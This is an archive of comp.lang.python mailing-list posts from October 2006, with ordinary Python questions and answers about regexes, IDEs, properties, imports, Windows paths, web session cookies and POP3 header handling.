	<03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>
	<mailman.9.1160200561.11739.python-list@python.org>
Message-ID: <1160201626.583788.42250@e3g2000cwe.googlegroups.com>

I was trying something like this

digits = re.compile("\d")
     if digits in line
          instr_number = digits.search(line)

because it looked realy cool when I saw it in a recent post... and then
the same thing
for just (';') didn't seem to return anything except one line and some
hex that came from god knows where./...  I will see what the other does
and post the result..

hanumizzle wrote:
> On 10/7/06, goyatlah <goyatlah> wrote:
> > Think you need a regex like this: regex =
> > r"\s*instr\s+([0-9]+)\s*(;.*)?"
>
> [0-9] maybe written simply as \d (d for digit)
>
> > Then:
> > import re
> > test = re.compile(regex)
>
> Regexes are usually passed as literals directly to re.compile().
>
> > testing is done as follows:
> > res = test.match(mystring)
>
> Initial \s* is redundant if you use the search() method.
>
> > if res:
>
> I forgot that part. :)
>
> >     number = res.group(1) # always a string consisting of decimals
> >     comment = res.group(2) # string starting with ; or None
> > it might be necessary to have the instr part of the regex as follows
> > [iI][nN][sS][tT][rR] to handle things like Instr or INSTR.
> 
> It is sufficient to use the re.IGNORECASE flag.
> 
> -- Theerasak



From heikki at osafoundation.org  Fri Oct 13 20:33:38 2006
From: heikki at osafoundation.org (Heikki Toivonen)
Date: Fri, 13 Oct 2006 17:33:38 -0700
Subject: wing ide vs. komodo?
In-Reply-To: <1160778985.576091.39700@e3g2000cwe.googlegroups.com>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<mailman.480.1160767168.11739.python-list@python.org>
	<tURXg.27343$Go3.5193@dukeread05>
	<mailman.481.1160768935.11739.python-list@python.org>
	<18SXg.27347$Go3.9933@dukeread05>
	<mailman.482.1160769808.11739.python-list@python.org>
	<XMSXg.27356$Go3.11355@dukeread05>
	<1160778985.576091.39700@e3g2000cwe.googlegroups.com>
Message-ID: <QuudnTCzFO40ra3YnZ2dnUVZ_rednZ2d@comcast.com>

Paul Boddie wrote:
> hg wrote:
>> PS: I also was taken aback by the fact that the PyDev license was
>> "per-year" ... it's like buying Word for a year only ... isn't it ?
> 
> Flashbacks to the age of shareware seem to be commonplace in the realm
> of Eclipse, or that's how the scene seems to me.

You are confusing Pydev and Pydev Extensions. The former is free, the
latter costs money and has some advanced features. The Pydev maintainer
launched Pydev Extensions to get some extra cash and let him spend more
time on Pydev development.

-- 
  Heikki Toivonen


From edreamleo at charter.net  Wed Oct  4 11:56:00 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 10:56:00 -0500
Subject: sax barfs on unicode filenames: workaround
References: <WOOUg.61$iP5.19@newsfe07.lga>
Message-ID: <nQQUg.223$5B3.158@newsfe06.lga>

Happily, the workaround is easy.  Replace theFile with:

# Use cStringIo to avoid a crash in sax when inputFileName has unicode 
characters.
s = theFile.read()
theFile = cStringIO.StringIO(s)

My first attempt at a workaround was to use:

s = theFile.read()
parser.parseString(s)

but the expat parser does not support parseString...

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From kay.schluehr at gmx.net  Sun Oct 15 04:17:13 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 15 Oct 2006 01:17:13 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
	<1160811657.449049.78940@m73g2000cwd.googlegroups.com>
	<1160843099.978973.235560@k70g2000cwa.googlegroups.com>
Message-ID: <1160900233.259709.55050@i42g2000cwa.googlegroups.com>

Paul Boddie wrote:
> Kay Schluehr wrote:
> >
> > Spreading tiny function definitions all over the code
> > may be finally not such a good idea compared with a few generic methods
> > that get just called? OO might run out of fashion these days but Python
> > is not Java and Pythons OO is pretty lightweight.
>
> I think you've successfully identified a recent trend in Python
> development: the abandonment of fairly transparent object-oriented
> techniques in favour of more opaque but supposedly more convenient
> hybrid techniques. Unlike Java, Python's first class functions and
> methods are already highly useful for callback-based systems - such
> systems in Java suffer from interface proliferation and needless
> one-off class definitions - but it seems to me that the subsequent
> language evolution in favour of anonymous blocks brings fewer benefits
> and can, as you say, diminish readability.

I was actually more concerned about extensibility than readability.
Talking about classes being lightweight I mentioned classes to be
"first-class" objects and intended constructions like this:

class fetchPage_event(fetchPage('http://python.org')):
    def _showResponse(self, response)
        print "fancy formatting: %s" % response.text

where all the registration and framework magics happens when the
fetchPage_event class is created. Adding "callbacks" just happen when
you add a method to the class. Here you have your "block" with no
additional syntax. You can pass the fetchPage_event class around and
add and overwrite methods in subclasses in the same fashion. A subclass
can be created within any statement on the fly etc. Here you have an OO
solution that is both short and has a clean design.



From richard.charts at gmail.com  Thu Oct 19 11:14:55 2006
From: richard.charts at gmail.com (richard.charts at gmail.com)
Date: 19 Oct 2006 08:14:55 -0700
Subject: A suggestion/request for IDEs
In-Reply-To: <pRLZg.113$1n3.3340@news.tufts.edu>
References: <pRLZg.113$1n3.3340@news.tufts.edu>
Message-ID: <1161270895.245695.176750@m7g2000cwm.googlegroups.com>


John Salerno wrote:
> I apologize for the slightly off-topic nature, but I thought I'd just
> throw this out there for anyone working on text editors or IDEs with
> auto-completion.
>
> I think it should be a feature, when an item is selected for
> auto-completion in a drop-down box, that pressing the spacebar (in
> addition to tab or enter) will automatically finish the word and add a
> space. This is how Microsoft's new IDEs for .NET work, and I found it
> very helpful to be able to just press space as normal and keep typing. I
> know it sounds minor, but I find it to be a time saver instead of having
> to press tab or enter, and then also the spacebar.
>
> Thanks.

See I have to disagree with you.  I always hated that spacebar would
complete.  I found it more natural that space would simply enter a
space and you could keep typing.  I found it slowed my down more having
to change items that would autocomplete when I didn't want them to.
Of course, it's a matter of preference and comfort.



From chris.cavalaria at free.fr  Fri Oct 20 10:40:00 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Fri, 20 Oct 2006 16:40:00 +0200
Subject: FOR statement
In-Reply-To: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
Message-ID: <4538dfb5$0$31248$426a74cc@news.free.fr>

Lad a ?crit :
> If I have a list
> 
> Mylist=[1,2,3,4,5]
> I can print it
> 
> for i in Mylist:
>    print i
> 
> and results is
> 1
> 2
> 3
> 4
> 5
> 
> 
> But how can I  print it in a reverse order so that I get
> 5
> 4
> 3
> 2
> 1
> 
> 
> 
> ?
> 
> 
> Thanks.
> L
> 

for i in reversed(Mylist):
     print i


From bignose+hates-spam at benfinney.id.au  Thu Oct 26 18:57:04 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 08:57:04 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org> <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<mailman.1232.1161829348.11739.python-list@python.org>
	<7xfydbhkso.fsf@ruckus.brouhaha.com>
	<7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar>
Message-ID: <87u01qfzy7.fsf@benfinney.id.au>

Gabriel Genellina <gagsl-py at yahoo.com.ar> writes:

> At Wednesday 25/10/2006 23:29, Paul Rubin wrote:
> >Steve Holden <steve at holdenweb.com> writes:
> >I get that iter(()) is True (Python 2.3.4).
>
> It's False on 2.4.2 - and perhaps it's what one would expect, but
> since this behavior is not documented anywhere, one should not count
> on it.

Doesn't this fall under "any empty sequence" in the following list of
evaluates-to-false:

    <URL:http://docs.python.org/lib/truth.html>

-- 
 \            "If you continue running Windows, your system may become |
  `\                 unstable."  -- Microsoft, Windows 95 BSOD message |
_o__)                                                                  |
Ben Finney



From skip at pobox.com  Sat Oct 14 14:01:17 2006
From: skip at pobox.com (skip at pobox.com)
Date: Sat, 14 Oct 2006 13:01:17 -0500
Subject: IDE that uses an external editor?
In-Reply-To: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>
References: <17711.51000.610108.986578@montanaro.dyndns.org>
	<20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>
Message-ID: <17713.9709.575464.630058@montanaro.dyndns.org>


    Slawomir> #> One thing that's kept me from even looking at IDEs is that
    Slawomir> #> to the best of my knowledge none of them will integrate
    Slawomir> #> properly with external editors like Emacs or vi.

    Slawomir> To the best of *my* knowledge, Emacs integrates pretty well
    Slawomir> with Emacs, and I suppose vi integrates pretty well with
    Slawomir> vi... Or do you mean something else by "IDE"?

By IDE I mean "Integrated Development Environment".  I realize I can do a
lot within Emacs/XEmacs, but I suspect with a tool like Eclipse I could do
more.  However, I don't want to give up the text editing power of Emacs to
get it.

Skip


From gagsl-py at yahoo.com.ar  Fri Oct 27 18:28:48 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 27 Oct 2006 19:28:48 -0300
Subject: What is the cleanest way to for a module to access objects
	from the script that imports it?
In-Reply-To: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061027191446.05f319e8@yahoo.com.ar>

At Friday 27/10/2006 18:53, noamsml at gmail.com wrote:

>I am new to python and am currently writing my first application. One
>of the problems I quickly ran into, however, is that python's imports
>are very different from php/C++ includes in the sense that they
>completely wrap the imported script in a module object. One of the
>problems with this was that a plugin system that I am making requires
>use of objects, classes and the such from the original script. Thus, on
>one hand, I am hesitant to use execfile(), since I *do* want to wrap
>the plugin up, but on the other hand, I want the plugin to be able to
>use functions from the original script. Any ideas?

Put the bulk of your "original script" into modules so they are 
easily importable from inside the plugins.
In your application, you can scan the available plugins (using 
os.listdir by example) and import them.
(Of course this is risky so you must trust the plugin developers...)


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From aahz at pythoncraft.com  Fri Oct 20 22:54:33 2006
From: aahz at pythoncraft.com (Aahz)
Date: 20 Oct 2006 19:54:33 -0700
Subject: Inheriting property functions
References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
Message-ID: <ehc259$hbs$1@panix3.panix.com>

In article <1161383286.543397.46700 at m73g2000cwd.googlegroups.com>,
Dustan <DustanGroups at gmail.com> wrote:
>
>>>> class A(object):
>	def __init__(self, a):
>		self.a = a
>	def get_a(self): return self.__a
>	def set_a(self, new_a): self.__a = new_a
>	a = property(get_a, set_a)
>
>
>>>> class B(A):
>	b = property(get_a, set_a)

BTW, since you're almost certainly going to run into this quickly given
the direction your code is taking (and also to fix some bugs):

class A(object):
    def __init__(self, a):
        self._a = a

    def get_a(self):
        return self._a

    def _get_a(self):
        return self.get_a()

    def set_a(self, new_a):
        self._a = new_a

    def _set_a(self, new_a):
        self.set_a(new_a)

    a = property(_get_a, _set_a)

class B(A):
    def get_a(self):
        return str(self._a)

Thank Alex Martelli for this demonstration that programming is all built
on one basic trick: add another layer of indirection.  However, I leave
you to figure out on your own why this is better.

Note carefully that I changed __a to _a.  You almost never want to use
double-underscore private names because of the way they cause problems
with inheritance.

PS: Please do NOT post code with TABs
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From casagiuseppe2006 at libero.it  Fri Oct 13 11:48:16 2006
From: casagiuseppe2006 at libero.it (giuseppe)
Date: Fri, 13 Oct 2006 15:48:16 GMT
Subject: IDE
Message-ID: <4zOXg.1918$uv5.11354@twister1.libero.it>

What is the better IDE software for python programming?

many thanks

joe 




From horpner at yahoo.com  Thu Oct 26 07:26:22 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Thu, 26 Oct 2006 11:26:22 GMT
Subject: The format of filename
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<mailman.1074.1161701843.11739.python-list@python.org>
	<slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>
	<slrnejsb2q.1pk.horpner@FIAD06.norwich.edu>
	<slrnejsc0e.1pk.horpner@FIAD06.norwich.edu>
	<l8l0k25bvmcdpm6tmd7rnkodd6i7um9l23@4ax.com>
Message-ID: <yX00h.7799$5i7.7631@newsreading01.news.tds.net>

On 2006-10-26, Tim Roberts <timr at probo.com> wrote:
> Neil Cerutti <horpner at yahoo.com> wrote:
>>
>>Some experimentation shows that Python does seem to provide
>>*some* translation. Windows lets me use '/' as a path separator,
>>but not as the name of the root of a partition name. But perhaps
>>this a peculiarity of the commands themselves, and not of Windows
>>path names in particular.
>>
>>  C:\PYTHON24>CD /
>>  The syntax of the command is incorrect.
>>  
>>  C:\PYTHON24>CD \
>>  C:\>EDIT /PYTHON24/README
>>  The syntax of the command is incorrect.
>
> The Windows APIs all accept either forward slashes or back, and
> have done so clear back to Windows 3.0.  However, the Windows
> command shells do not.  That's what you're seeing here.

Well, kudos to Windows then for making Python look really smart
while making itself look like a dufus. ;-)

Seriously, experiments show the forward slash is OK as a
seperator, it just can't be root.

-- 
Neil Cerutti


From fulvio at tm.net.my  Sat Oct 21 07:40:59 2006
From: fulvio at tm.net.my (Fulvio)
Date: Sat, 21 Oct 2006 19:40:59 +0800
Subject: help with my first use of a class
In-Reply-To: <A98_g.21901$7I1.16490@newssvr27.news.prodigy.net>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
	<mailman.846.1161354249.11739.python-list@python.org>
	<A98_g.21901$7I1.16490@newssvr27.news.prodigy.net>
Message-ID: <200610211940.59583.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Saturday 21 October 2006 02:01, James Stroud wrote:
> I think the trick is to identify when a class would make more sense than
> a collection of subroutines

I do believe that's a bit of forecasting, in sense to determine whether a 
piece of code may have a future. Usually in hobbistic term I think we can 
bear with copy&pasting pieces of code across programs rather than go for a 
class(es) module.
Only I remembered the mottos when I ran this,py which gives me some good 
points of view.

F



From ldo at geek-central.gen.new_zealand  Sat Oct  7 18:14:27 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Sun, 08 Oct 2006 11:14:27 +1300
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
Message-ID: <eg98qb$6a3$1@lust.ihug.co.nz>

In message <mailman.912.1159494600.10491.python-list at python.org>, Steve
Holden wrote:

> John Machin wrote:
>
> [lots of explanation about peculiarities of people's names]
>
> While I don't dispute any of this erudite display of esoteric
> nomenclature wisdom the fact remains that many (predominantly Western)
> databases do tend to use first and last name (in America often with the
> addition of a one- or two-character "middle initial" field).

Just because most Western designers of databases do it wrong doesn't mean
that a) you should do it wrong, or b) they will continue to do it wrong
into the future, as increasing numbers of those designers come from Asian
and other non-Western backgrounds.

> So, having distilled your knowledge to its essence could you please give
> me some prescriptive advice about what I *should* do? :-)

Has anyone come up with a proper universal table design for storing people's
names?

Certainly "first name" and "last name" are the wrong column names to use. I
think "family name" and "given names" would be a good start. For the
Icelanders, Somalians and the Muslims, their father's name goes in
the "family name" field, which makes sense because all their siblings (of
the same sex, at least) would have the same value in this field.

I wonder if we need another "middle" field for holding the "bin/binte" part
(could also hold, e.g. "Van" for those names that use this).

There would also need to be a flag field to indicate the canonical ordering
for writing out the full name: e.g. family-name-first, given-names-first.
Do we need something else for the Vietnamese case?


From fredrik at pythonware.com  Sat Oct 28 12:12:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 18:12:10 +0200
Subject: Need help (Basic python)...what did I do wrong?
In-Reply-To: <1162050799.561792.6010@e3g2000cwe.googlegroups.com>
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>	<29c1a$454332e1$544ab808$5911@news.hispeed.ch>
	<1162050799.561792.6010@e3g2000cwe.googlegroups.com>
Message-ID: <ehvvgr$lej$1@sea.gmane.org>

frankie_85 wrote:

> Hmmm....after more trials and errors, I think what I did wrong is along
> on these lines:
> 
> a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3)))
> b_2 = math.sqrt(math.fabs(b)) + 5((math.pow(b,3)))
> c_3 = math.sqrt(math.fabs(c)) + 5((math.pow(c,3)))
> d_4 = math.sqrt(math.fabs(d)) + 5((math.pow(d,3)))
> e_5 = math.sqrt(math.fabs(e)) + 5((math.pow(e,3)))
> 
> but I still don't understand though why the variable a, b, c, d, e
> becomes an int type even though I have already specified the user input
> to be floating point?

hint: besides the variables, what other values are involved in your 
calculations?  do you see any integers among them?

</F>



From roee88 at gmail.com  Thu Oct 12 04:34:06 2006
From: roee88 at gmail.com (roee88 shlomo)
Date: Thu, 12 Oct 2006 10:34:06 +0200
Subject: Dll files and Python2.5
In-Reply-To: <9963f10e0610120125t790ae74ke88e4319ca7c1888@mail.gmail.com>
References: <9963f10e0610120125t790ae74ke88e4319ca7c1888@mail.gmail.com>
Message-ID: <9963f10e0610120134q3a7d312ctdf656a0b783689b0@mail.gmail.com>

Ignore the first question, it is required.

On 10/12/06, roee88 shlomo <roee88 at gmail.com> wrote:
>
> Hi,
> I would like to know a few things about the dll files usually included in
> Python windows applications:
>
> 1. in the Pythonwin Home Page (http://www.python.net/crew/skippy/win32/) I
> can see that mfc42.dll is required for python2.3 and mfc71.dll is required
> for python2.4 .
> Is mfc71.dll still required in python2.5 as in 2.4 ?
> I'm asking it because I deleted all the mfc71.dll files from my computer
> and functions that uses win32com are still working.
> Perhaps mfc71 is included in the python25 package?
>
> 2. What package requires msvcr71.dll ?
>
> 3. What package requires msvcp71.dll ?
>
> Thanks,
> Roee.
>
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From larry.bates at websafe.com  Wed Oct 18 17:49:55 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Wed, 18 Oct 2006 16:49:55 -0500
Subject: Determining if a file is locked in Windows
In-Reply-To: <1161200350.853327.288150@b28g2000cwb.googlegroups.com>
References: <1161200350.853327.288150@b28g2000cwb.googlegroups.com>
Message-ID: <ecidnU0VoqfvPKvYnZ2dnUVZ_o-dnZ2d@comcast.com>

elake wrote:
> I found this thread about a pst file in Windows being locked and I am
> having the same issue.
> 
> http://groups.google.com/group/comp.lang.python/browse_thread/thread/d3dee5550b6d3652/ed00977acf62484f?lnk=gst&q=%27copying+locked+files%27&rnum=1
> 
> The problem is that I have a script that can find the pst files on
> every machine in my network and back them up to a server for safe
> keeping. The problem is that when Outlook is running it locks the file
> and will not allow me to copy it to the destination. I am using the
> shutil module for the copy.
> 
> Is there a way to first determine if the file is locked and then do the
> copy if it isn't? I thought about looking to see if Outlook.exe is
> running but the machines are shared and the process could be running
> but with a different pst file in use.
> 
> Thanks in advance
> 
Try the copy and catch the exception instead.

-Larry Bates


From cameron.walsh at gmail.com  Tue Oct 10 21:18:03 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Wed, 11 Oct 2006 09:18:03 +0800
Subject: How to share session with IE
In-Reply-To: <mailman.231.1160501856.11739.python-list@python.org>
References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com>	<1160480177.704013.37770@k70g2000cwa.googlegroups.com>
	<mailman.231.1160501856.11739.python-list@python.org>
Message-ID: <eghgnf$l1k$1@enyo.uwa.edu.au>

John J. Lee wrote:
> "Bernard" <bernard.chhun at gmail.com> writes:
>> zdp wrote:
> [...]
>>> However, now I need to process some pages by a python program. When I
>>> use urllib.urlopen(theurl), I can only get a page which told me I need
>>> login. I think It's reasonable, becuase I wasn't in a loggined session
>>> which as IE did.
>>>
>>> So how can I do my job? I want to get the right webpage by the url. I
>>> have search answers from the groups but didn't get clear answer. Should
>>> I use win32com or urllib? Any reply or information is appreciate. Hope
>>> I put it clear.
> 
>> You can do the same thing as IE on your forum using urllib2 and
>> cookielib. In short you need to code a small webcrawler. I can give you
>> my browser module if necessary.
>> You might not have the time to fiddle with the coding part or my
>> browser module so you can also use this particularly useful module :
>> http://wwwsearch.sourceforge.net/mechanize/
>> The documentation is pretty clear for an initiated python programmer.
>> If it's not your case, I'd recommend to read some ebooks on the python
>> language first to get use to it.
> 
> In particular, if you're following the approach Bernard suggests, you
> can either:
> 
> 1. Log in every time your program runs, by going through the sequence
>    of clicks, pages, etc. that you would use in a browser to log in.
> 
> 2. Once only (or once a month, or whatever), log in by hand using IE
>    with a "Remember me"-style feature (if the website offers that) --
>    where the webapp asks the browser to save the cookie rather than
>    just keeping it in memory until you close your browser.  Then your
>    program can load the cookies from your real browser's cookie store
>    using this:
> 
> http://wwwsearch.sourceforge.net/mechanize/doc.html#browsers
> 
> 
> There are other alternatives too, but they depend on knowing a little
> bit more about how cookies and web apps work, and may or may not work
> depending on what exactly the server does.  I'm thinking specifically
> here of saving *session* cookies (the kind that usually go away when
> you close your browser) in a file -- but the server may not like them
> when you send them back the next time, depending how much time has
> elapsed since the last run.  Of course, you can always detect the
> "need to login" condition, and react accordingly.
> 
> 
> John
> 


Another option instead of making your program run through a series of 
clicks and text inputs, which is difficult to program, is to browse the 
html source until you find the name of the script that processes the 
login, and use python to request the page with the necessary form fields 
encoded in the request.  Request something like
http://www.targetsite.com/login.cgi?username=pyuser&password="fhqwhgads"
This format is not guaranteed to work, since the login script or server 
might only support one of GET and POST.  If this is the case, creating 
the request is slightly more involved and to be honest I haven't looked 
into how to do it.

Thereafter, you will have to pass the environment to every page request 
so the server can read the cookie.  Which brings me to question whether 
or not it is possible to do this manually once, export the environment 
variable to a file, and reload this file each time the program is run. 
Or to generate the cookie in the environment yourself.  Quite frankly 
any server application that allows the client to control whether or not 
they have logged in sucks, but I've seen a fair few that do.[citation 
required]

Cameron.


From fulvio at tm.net.my  Sat Oct 14 10:03:05 2006
From: fulvio at tm.net.my (Fulvio)
Date: Sat, 14 Oct 2006 22:03:05 +0800
Subject: Which class?
In-Reply-To: <1160802056.744732.323540@e3g2000cwe.googlegroups.com>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<1160802056.744732.323540@e3g2000cwe.googlegroups.com>
Message-ID: <200610142203.05451.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


Hello,

Sorry, I very new in programming and the use of the classes still unknown.
I'm really interested to apply the right one as far as the results aren't as 
expected.

Here's the example:

from poplib import POP3
ProtocolError = 'Error in Protocol'  # handler for IMAP4 and POP3 errors

try:
    _pop = POP3(args[0])
    _pop.user(args[1])
except:
    raise ProtocolError
a.append( 'STAT = POP Server %s reply\n %s\n' %(args[0], _pop.pass_(args[2])))
(numMsgs, totalSize) = _pop.stat()
for cnt in range(1, numMsgs +1):
    #Need a cleanup for the envelope header  'Unix-From'

    try:
        msgs =_pop.top(cnt,0)[1]
    except:
        raise ProtocolError

# Here I'd like to have some part removed and I known that some class in email 
# will do the neat job without missing any of the needed detail

    hdrs = [k for itms in ('from', 'to', 'cc',
                'date', 'subject', 'reply-to', 'message-')
                for k in msgs if k.startswith(itms.capitalize())]

# This isn't the right risult. Some time missing one of the wanted item.

_pop.quit()

I've put my opinions as comments, in order to copy and try. The args contains 
(pop address, user, and password) respectively.
The list comprehension fails for some comparison, might be more accurate a 
regex, I just fill too complicated  for a simple scan and I know that there 
are already good classes that will do the right way. I just miss the learning 
how to use them.

This a part of a small program, which will attempt to organize all the emails, 
locals and remote in order to do spam removal and/or backup the good ones.
I'd like somebody to join, not for a speedy result but for a joy of exchanging 
technics and tricks.

F



From fredrik at pythonware.com  Mon Oct 23 13:03:01 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 19:03:01 +0200
Subject: sharing persisten cache between modules
In-Reply-To: <1161621933.150100.149830@m7g2000cwm.googlegroups.com>
References: <1161620802.744818.16500@e3g2000cwe.googlegroups.com>	<mailman.990.1161621384.11739.python-list@python.org>
	<1161621933.150100.149830@m7g2000cwm.googlegroups.com>
Message-ID: <ehisk4$e8$1@sea.gmane.org>

Bart Ogryczak wrote:

>> why not just put the cache management
>> code in a module that's imported by any submodule that wants to use it ?
> 
> The problem is, that then it is not shared. If I do it like that, each
> module has it?s own copy of the cache.

nope.  modules are shared, and all module-level objects are shared as 
well.  the code in a module is only executed when you import it the 
first time; all further imports will get a reference to the same module 
instance.

> Maybe I?m doing something wrong. I?ve made a cache module, imported it in
 > each of the submodules.

that should work.  how do you create the cache in the module, and how do 
the individual modules access the cache?

</F>



From paddy3118 at netscape.net  Wed Oct 25 15:54:07 2006
From: paddy3118 at netscape.net (Paddy)
Date: 25 Oct 2006 12:54:07 -0700
Subject: How to identify generator/iterator objects?
In-Reply-To: <mailman.1200.1161805415.11739.python-list@python.org>
References: <mailman.1200.1161805415.11739.python-list@python.org>
Message-ID: <1161806047.729206.49710@k70g2000cwa.googlegroups.com>


Kenneth McDonald wrote:
> I'm trying to write a 'flatten' generator which, when give a
> generator/iterator that can yield iterators, generators, and other data
> types, will 'flatten' everything so that it in turns yields stuff by
> simply yielding the instances of other types, and recursively yields the
> stuff yielded by the gen/iter objects.
>
> To do this, I need to determine (as fair as I can see), what are
> generator and iterator objects. Unfortunately:
>
>  >>> iter("abc")
> <iterator object at 0x61d90>
>  >>> def f(x):
> ...     for s in x: yield s
> ...
>  >>> f
> <function f at 0x58230>
>  >>> f.__class__
> <type 'function'>
>
> So while I can identify iterators, I can't identify generators by class.
>
> Is there a way to do this? Or perhaps another (better) way to achieve
> this flattening effect? itertools doesn't seem to have anything that
> will do it.
>
> Thanks,
> Ken

>>> def f(x):
... 	for s in x: yield s
... 	
>>> f([1])
<generator object at 0x01388E18>

?
- Paddy.



From usenet at nicko.org  Wed Oct  4 22:41:51 2006
From: usenet at nicko.org (Nicko)
Date: 4 Oct 2006 19:41:51 -0700
Subject: PATCH: Speed up direct string concatenation by 20+%!
References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>
	<451CD389.3010800@jessikat.plus.net>
	<mailman.932.1159533269.10491.python-list@python.org>
	<1159540482.924744.164420@k70g2000cwa.googlegroups.com>
Message-ID: <1160016111.443659.3860@k70g2000cwa.googlegroups.com>

Larry Hastings wrote:
> It's *slightly* slower for two:
>
> def addTwoThings(a, b):
>     return a + b
> for i in range(10000000):
>     x = addTwoThings("aaa", "bbb")
...
> But starts paying off already, even with three:
>
> def addThreeThings(a, b, c):
>     return a + b + c
> for i in range(10000000):
>     x = addThreeThings("aaa", "bbb", "ccc")

I note that in both of those tests you didn't actually ever realise the
concatenated string.  Can you give us figures for these tests having
forced the concatenated string to be computed?

Cheers,
    Nicko



From maxm at mxm.dk  Tue Oct 10 06:19:56 2006
From: maxm at mxm.dk (Max M)
Date: Tue, 10 Oct 2006 12:19:56 +0200
Subject: OT: Sarcasm and irony
In-Reply-To: <mailman.189.1160470256.11739.python-list@python.org>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>	<4out4fFgdgouU1@individual.net>
	<4ov1acFgfmpmU1@uni-berlin.de>	<4ov2eeFgh8t6U1@individual.net>
	<87y7rp9iyi.fsf_-_@benfinney.id.au>	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>	<egfkeh$a45$1@sea.gmane.org>
	<mailman.189.1160470256.11739.python-list@python.org>
Message-ID: <452b73ce$0$14045$edfadb0f@dread15.news.tele.dk>

bryan rasmussen skrev:
> On 10/10/06, Steve Holden <steve at holdenweb.com> wrote:

>> ... in America. It's well-known among Brits that Americans don't
>> understand irony. They can be pretty oblique when it come to sarcasms
>> too, for that matter.
> 
> is that '....in America' meant to be an addendum to what I said, as in
> this is the situation in America and not elsewhere? If so I should
> probably point out that I am writing from Denmark and was thinking
> specifically of a situation where a dane told me they were being
> 'ironic' (when what they meant, obviously, was that they were being
> ironical), when I asked what they meant by that they said "saying the
> opposite of what I mean" I responded: "so, in other words, what you
> mean by irony is 'sarcasm'" She responded "yes, that's what it means"


Are you an american?

Irony does mean that one says the opposite of what one really means.

If you do it for humor its irony, if you do it for mocking it is sarcasm.

So now I see... americans really *do* understand irony.


-- 

hilsen/regards Max M, Denmark

http://www.mxm.dk/
IT's Mad Science


From keith.dart at gmail.com  Mon Oct 16 06:29:59 2006
From: keith.dart at gmail.com (kdart)
Date: 16 Oct 2006 03:29:59 -0700
Subject: Where can I find good python code?
In-Reply-To: <mailman.458.1160755720.11739.python-list@python.org>
References: <mailman.458.1160755720.11739.python-list@python.org>
Message-ID: <1160994599.779022.240410@i42g2000cwa.googlegroups.com>

I think the following is a package with a lot of good code. But then,
I'm biased. ;-)

http://code.google.com/p/pynms/


On Oct 13, 9:08 am, "js " <ebgs... at gmail.com> wrote:
>  Hi,
>
> I've learned basics of Python and want to go to the next step.
> So I'm looking for good python examples
> I steal good techniques from.
>
> I found Python distribution itself contains some examples in Demo directory.
> I spent some time to read them and
> I think they're good but seemed not so practical to me.
> 
> Any recommendations?



From bearophileHUGS at lycos.com  Mon Oct 16 20:29:32 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 16 Oct 2006 17:29:32 -0700
Subject: PyGegl
Message-ID: <1161044972.685264.308060@k70g2000cwa.googlegroups.com>

It looks interesting, PyGegl is a python binding for gegl:
http://ervilha.org/pygegl/

Bye,
bearophile



From python.list at tim.thechases.com  Tue Oct 31 14:43:08 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 31 Oct 2006 13:43:08 -0600
